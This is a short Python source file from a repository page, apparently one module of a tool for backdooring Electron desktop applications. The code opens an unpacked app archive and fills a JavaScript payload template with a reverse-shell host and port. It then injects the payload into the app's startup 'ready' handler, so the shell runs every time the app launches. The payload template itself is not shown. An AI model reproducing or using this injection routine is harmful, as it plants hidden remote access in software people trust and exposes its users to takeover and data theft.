Files
Pavel Tsakalidis 99dd4fbdf3 Hello World!
2019-01-24 09:17:42 +00:00

27 lines
1.0 KiB
Python

import pprint, os
class worker:
def __init__(self, utils):
self.utils = utils
def run(self, worker_data):
module = worker_data['module']
module_data = worker_data['module_data']
asar_working_path = worker_data['asar_working_path']
# Now we need to inject the app events.
file_to_inject = os.path.join(asar_working_path, 'browser', 'chrome-extension.js')
if os.path.isfile(file_to_inject) is False:
return False
file_contents = self.utils.load_file(file_to_inject)
payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'code.js'))
payload = payload.replace('%PORT%', module_data['rshell']['port']).replace('%HOST%', module_data['rshell']['host'])
file_contents = self.utils.inject_code(file_contents, 'app.once', 'ready', payload, "app.once('ready', function () {\n\n%FUNCTION_CODE%\n\n});")
with open(file_to_inject, 'w') as f:
f.write(file_contents)
return True